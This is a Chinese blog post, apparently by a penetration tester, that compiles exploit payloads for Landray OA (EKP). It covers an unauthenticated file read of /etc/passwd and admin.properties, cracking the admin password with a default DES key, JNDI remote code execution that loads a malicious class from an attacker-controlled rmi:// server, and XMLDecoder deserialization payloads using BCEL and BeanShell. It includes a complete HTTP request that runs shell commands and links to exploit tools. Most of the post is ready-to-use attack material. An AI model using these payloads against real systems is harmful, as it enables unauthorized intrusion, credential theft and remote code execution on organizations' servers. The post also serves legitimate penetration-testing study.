赞
踩
背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。
蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。
漏洞路径:/sys/ui/extend/varkind/custom.jsp
,访问后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}}
,发送post请求。
配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。
利用任意文件读取/WEB-INF/KmssConfig/admin.properties
配置文件
由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为 kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
用解密出来的明文密码尝试登录后台地址:admin.do
,此地址也可能由爆破得到:
burp抓包,body添加payload:method=testDbConn&datasource=rmi://vpsip:port/exp
,exp构造同常见的如fastjson所用:
写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
发送payload:
sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp 文件未授权写入恶意文件,导致RCE。
若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java>
//使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
使用BCEL编码工具:https://github.com/Xd-tl/BCELCode
插入发送:
漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
payload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
//太菜了不懂回显payload细节
dataxml.jsp 、treexml.tmpl等代码执行
漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();
s_bean或为RuleFormulaValidate
对应treexml.tmpl
或sysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。